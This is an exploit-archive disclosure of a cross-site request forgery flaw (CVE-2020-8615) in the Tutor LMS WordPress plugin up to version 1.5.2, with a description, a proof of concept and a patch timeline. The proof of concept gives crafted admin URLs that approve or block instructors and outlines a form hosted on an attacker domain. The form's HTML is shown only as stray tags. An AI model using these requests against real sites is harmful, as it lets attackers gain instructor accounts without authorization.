WordPress Plugin Tutor LMS 1.5.3 – Cross-Site Request Forgery (Add User)

# Exploit Title: WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)

# Date: 2020-01-30

# Vendor Homepage: https://www.themeum.com/product/tutor-lms/

# Vendor Changelog: https://wordpress.org/plugins/tutor/#developers

# Exploit Author: Jinson Varghese Behanan

# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/

# Author Homepage: https://www.jinsonvarghese.com

# Version: 1.5.2 and below

# CVE : CVE-2020-8615

# 1. Description

# The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses.

# An attacker can use CSRF to register themselves as an instructor or block other legit instructors.

# Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings

# page, the attacker will be able to create courses directly as well. All WordPress websites

# using Tutor LMS version 1.5.2 and below are affected.

# 2. Proof of Concept

# As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF

# attack to approve an attacker-controlled instructor account can be performed by having the admin

# visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly,

# after retrieving the instructor ID during the registration process. An approved instructor can also be blocked

# by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7.

# CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor

# in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval.

# This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is

# hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can

# be tricked into visiting the link and triggering the request to add an instructor.

<html>

<body>

</form>

</body>

</html>

3. Timeline

Vulnerability reported to the Tutor LMS team – January 30, 2020.

Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.